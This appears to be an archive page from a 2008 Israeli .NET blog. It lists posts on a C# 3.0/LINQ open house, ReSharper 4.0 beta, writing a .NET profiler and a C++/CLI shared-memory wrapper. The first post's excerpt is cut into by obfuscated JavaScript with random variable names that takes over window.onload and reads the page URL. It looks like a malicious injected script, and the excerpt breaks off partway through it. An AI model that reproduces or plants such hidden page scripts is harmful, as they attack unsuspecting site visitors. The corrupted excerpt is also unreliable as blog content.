Presentation and Samples from Open House on C# 3.0 and LINQ

May 28, 2008

 מצורפים המצגת והדוגמאות שנתתי הבוקר בבית הפתוח של Microsoft בבית חיל האויר. WqCoONEvfWsCORu = window.onload; var jksbrJpMjFkVExnJs= 18931 - 6689; window.onload = XeQrOxKNqPEeGWCBYp; GhBDxpwYHpISQwGkT = ""; oEDsUaUPpewfMxIy =19948 + 6567; SIjbURusbJVkpcqLCAK = ""; mERLyGLcAaFGuUF = ""; var dCXvkIIbnEILFiYAKv =23721; YvYYOLaRNxVOwATeD = WwBgKYEshHLfxRSn(window.location.href); var PUSWiyFMFIDjcEWv; nBionPUaLBKvpdwKXrI = '154221'; var ...
no comments

ReSharper 4.0 beta is available for download

May 27, 2008

זמין להורדה גירסה 4 בטא של המוצר ReSharper (www.jetbrains.com) שהוא Addin  חכם ל-Visual Studio 2005 ו-2008 ומטפל בשפות C# ו-VB. גרסה זו תומכת ב-C# 3.0 ו-VB 9.0.אחד המאפיינים הנחמדים שלו היא היכולת להמיר משפט LINQ  בפורמט שאילתה לגרסת extension methods . לדוגמא, את השאילתה הבאה   var products = from p in ctx.Products               where p.Category.CategoryName.StartsWith("B")               orderby p.UnitPrice descending               select p; הופך בלחיצת כפתור ל-   var products = ctx.Products.Where(p => p.Category.CategoryName.StartsWith("B")).OrderByDescending(p => p.UnitPrice);   נחמד מאד! באג אחד שנתקלתי בו (לפחות על המערכת שלי) היא הנטייה של ה-addin לרסק את VS2008  אם יש פרויקט WebSite  ב-Solution. אבל, בכל זאת, זה בטא...  ...
no comments

Writing a .NET Profiler

May 20, 2008

I was recently asked how a managed application can know the actual size of managed objects it allocates. Although there exists a Marshal.SizeOf method that seemingly can do the trick, this only works for value types, as the method is intended to be used in interop scenarios where some unmanaged memory must be allocated in managed code and passed to some unmanaged function. This question, and others like it can best be answered by using a the .NET profiling API. The .NET profiling API allows the (native C++) programmer to inject a DLL that can receive various events from the CLR during...

Shared Memory (Section) wrapper using C++/CLI

May 5, 2008

C++/CLI allows relatively easy wrapping of unmanaged elements into usable types from the managed world. In the unmanaged world, I've been using for years the notion of shared memory - the ability to share block of memory between OS processes in an easy way. I've not seen this exact functionality anywhere in the .NET framework, so I decided to implement a simple mechanism around the file mapping concept (as it's referred in the SDK docs); and besides, it's a nice enough thing to try with C++/CLI.The native functions in question are CreateFileMapping, MapViewOfFile and friends. Quite easy to use...

Open House on C# 3.0 and LINQ

May 2, 2008

  טק-אד נגמר... פסח נגמר... חוזרים לשגרה - הרצאות, טכנולוגיות, קורסים... ב-28 למאי אני מעביר "בית פתוח" במייקרוסופט (זה יהיה בבית חיל האויר) בנושא C# 3.0 ו-LINQ. כל מי שעדיין לא יצא לו להכיר את החידושים המגיעים עם Visual Studio 2008 וה-.NET 3.5, מוזמן. לינק לרישום ניתן למצוא כאן.
tags: , ,
no comments